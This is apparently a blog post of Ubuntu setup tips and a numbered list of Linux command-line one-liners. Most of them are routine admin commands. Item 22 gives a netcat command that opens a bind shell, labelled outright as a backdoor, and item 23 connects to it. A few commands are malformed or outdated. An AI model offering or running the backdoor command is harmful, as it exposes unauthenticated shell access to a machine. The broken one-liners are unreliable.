After installing Ubuntu :
a)if you want not only CLI do : sudo apt-get install ubuntu-desktop
b)to upgrade to the next version of ubuntu: sudo do-release-upgrade -d
c)if you have 2 operating system and have problems with boot loader do :
sudo update-grub or open windows from cd (repair mode) and use command fixmbr
d)if you install ubuntu and you don't have internet use:
sudo pppoeconf
Then, to start a connection:
sudo pon
To stop the connection:
sudo poff
or in startup application you can use this command : sudo pon dsl-provider
Other commands
1.Search for all files modified in the last N days containing a specific text in their name
find DIR -mtime -N -name "*TEXT*"2.Twitter update from terminal
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml3.Determine which processes use the most memory
ps aux | sort -nk 4 | tail
orps aux | sort -nk 4 | head4.Find removed (deleted) files still in use via /proc:
find -L /proc/*/fd -links 0 2>/dev/null5.Display the username which is currently logged in
whoami6.Check if network cable is plugged in and working correctly:
mii-tool eth07.Show date using format modifiers
date +"%H:%M:%S"8. Migrate existing Ext3 filesystems to Ext4:
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition9.Show info about a specific user:
finger $USER10.On-the-fly unrar movie in .rar archive and play it, does also work on part archives:
unrar p -inul foo.rar|mplayer -11.Show disk usage separately for each partition
df -h
df -B 1K12.List programs with open ports and connections:
netstat -ntauple
ornetstat -lnp13.Show which modules are loaded
lsmod14.Using ruby, search for the string “search” and replace it with the string “replace”, on all files with the extension php in the curret folder. Do also a backup of each file with the extension “bkp”:
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php15.Add or remove a module to/from the Linux kernel
Insert a module:
modprobe MODULERemove a module:
modprobe -r MODULE16.Find files larger than 1 GB, everywhere
find / -type -f -size +1000000000c17. All the startup services, and sort alphabetically
sudo chkconfig --list | sort | less18.Search for a file using locate
locate FILENAME19.Kill a process that is locking a file:
fuser -k filename20.Change the encoding of a text file:
iconv -f INITIAL_ENCODING -t DESIRED_ENCODING filename21.Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:
killall -STOP -m firefox22.Create a backdoor on a machine to allow remote connection to bash:
nc -vv -l -p 1234 -e /bin/bash23.Launch a listener on the machine :
nc 192.168.0.1 123424.Print file name of terminal on standard input:
tty25.Strip directory and suffix from filenames:
basename NAME
No comments:
Post a Comment